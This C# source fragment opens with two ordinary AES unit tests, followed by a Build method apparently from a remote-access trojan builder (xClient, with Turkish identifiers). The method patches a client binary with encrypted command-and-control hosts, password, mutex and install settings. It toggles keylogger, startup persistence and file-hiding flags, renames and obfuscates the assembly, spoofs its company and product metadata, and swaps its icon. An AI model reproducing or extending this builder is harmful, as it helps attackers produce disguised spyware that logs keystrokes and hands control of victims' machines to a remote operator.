public void EncryptAndDecryptStringTest()
{
var input = DosyaYardımcısı.GetRandomFilename(100);
var password = DosyaYardımcısı.GetRandomFilename(50);
AES.SetDefaultKey(password);
var encrypted = AES.Encrypt(input);
Assert.IsNotNull(encrypted);
Assert.AreNotEqual(encrypted, input);
var decrypted = AES.Decrypt(encrypted);
Assert.AreEqual(input, decrypted);
}
public void EncryptAndDecryptByteArrayTest()
{
var input = DosyaYardımcısı.GetRandomFilename(100);
var inputByte = Encoding.UTF8.GetBytes(input);
var password = DosyaYardımcısı.GetRandomFilename(50);
AES.SetDefaultKey(password);
var encryptedByte = AES.Encrypt(inputByte);
Assert.IsNotNull(encryptedByte);
CollectionAssert.AllItemsAreNotNull(encryptedByte);
CollectionAssert.AreNotEqual(encryptedByte, inputByte);
var decryptedByte = AES.Decrypt(encryptedByte);
CollectionAssert.AreEqual(inputByte, decryptedByte);
}
public static void Build(KurulumAyarları options)
{
string encKey = DosyaYardımcısı.GetRandomFilename(20);
AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");
foreach (var typeDef in asmDef.Modules[0].Types)
{
if (typeDef.FullName == "xClient.Ayarlar.Settings")
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
int strings = 1, bools = 1;
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr")
{
switch (strings)
{
case 1:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey);
break;
case 2:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey);
break;
case 3:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Password, encKey);
break;
case 4:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey);
break;
case 5:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey);
break;
case 6:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey);
break;
case 7:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey);
break;
case 8:
methodDef.Body.Instructions[i].Operand = encKey;
break;
case 9:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey);
break;
case 10:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey);
break;
}
strings++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0")
{
switch (bools)
{
case 1:
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
break;
case 2:
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
break;
case 3:
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
break;
case 4:
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
break;
case 5:
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory));
break;
}
bools++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4")
{
methodDef.Body.Instructions[i].Operand = options.Delay;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s")
{
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
}
}
}
}
}
}
Renamer r = new Renamer(asmDef);
if (!r.Perform())
{
throw new Exception("renaming failed");
}
r.AsmDef.Write(options.OutputPath);
if (options.AssemblyInformation != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(options.OutputPath);
versionResource.FileVersion = options.AssemblyInformation[7];
versionResource.ProductVersion = options.AssemblyInformation[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = options.AssemblyInformation[2];
stringFileInfo["FileDescription"] = options.AssemblyInformation[1];
stringFileInfo["ProductName"] = options.AssemblyInformation[0];
stringFileInfo["LegalCopyright"] = options.AssemblyInformation[3];
stringFileInfo["LegalTrademarks"] = options.AssemblyInformation[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = options.AssemblyInformation[5];
stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];
versionResource.SaveTo(options.OutputPath);
}
if (!string.IsNullOrEmpty(options.IconPath))
{
IconInjector.InjectIcon(options.OutputPath, options.IconPath);
}
}